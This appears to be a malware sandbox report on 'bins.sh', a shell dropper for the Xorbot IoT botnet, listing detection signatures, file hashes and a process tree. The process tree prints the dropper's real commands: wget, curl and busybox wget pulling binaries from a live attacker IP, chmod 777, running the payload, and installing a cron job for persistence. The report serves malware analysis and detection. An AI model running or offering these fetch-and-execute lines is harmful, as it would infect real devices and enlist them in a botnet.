Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/09/2025, 21:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-1d2rtatzhs
  • SHA256 63ca86a8ed88f82eacad91d7e16454e7ee0a1384098b9e3a4641c14baa54debf
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
botnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1106) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1515
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1516
      • /usr/bin/wget
        wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:1522
      • /bin/chmod
        chmod 777 WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        ./WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:1524
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:1526
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:1527
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:1528
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1529
            • /bin/rm
              rm WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
              2⤵
                PID:1531
              • /usr/bin/wget
                wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                2⤵
                • Writes file to tmp directory
                PID:1534

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                  • Path /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                  • Size 113KB
                  • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                  • Path /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                  • Size 38KB
                  • SHA256 525e9c70ec61dbf07c38b3b026b2818005c231b2b3271c6339366938a2f6bbdb
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.Q012v0
                  • Path /var/spool/cron/crontabs/tmp.Q012v0
                  • Size 210B
                  • SHA256 41928742b86b1763fc46cb830336871914fdae5e899d99c207cba5aece446bb7
                  • MD5 SHA1 SHA512
                  Submit Download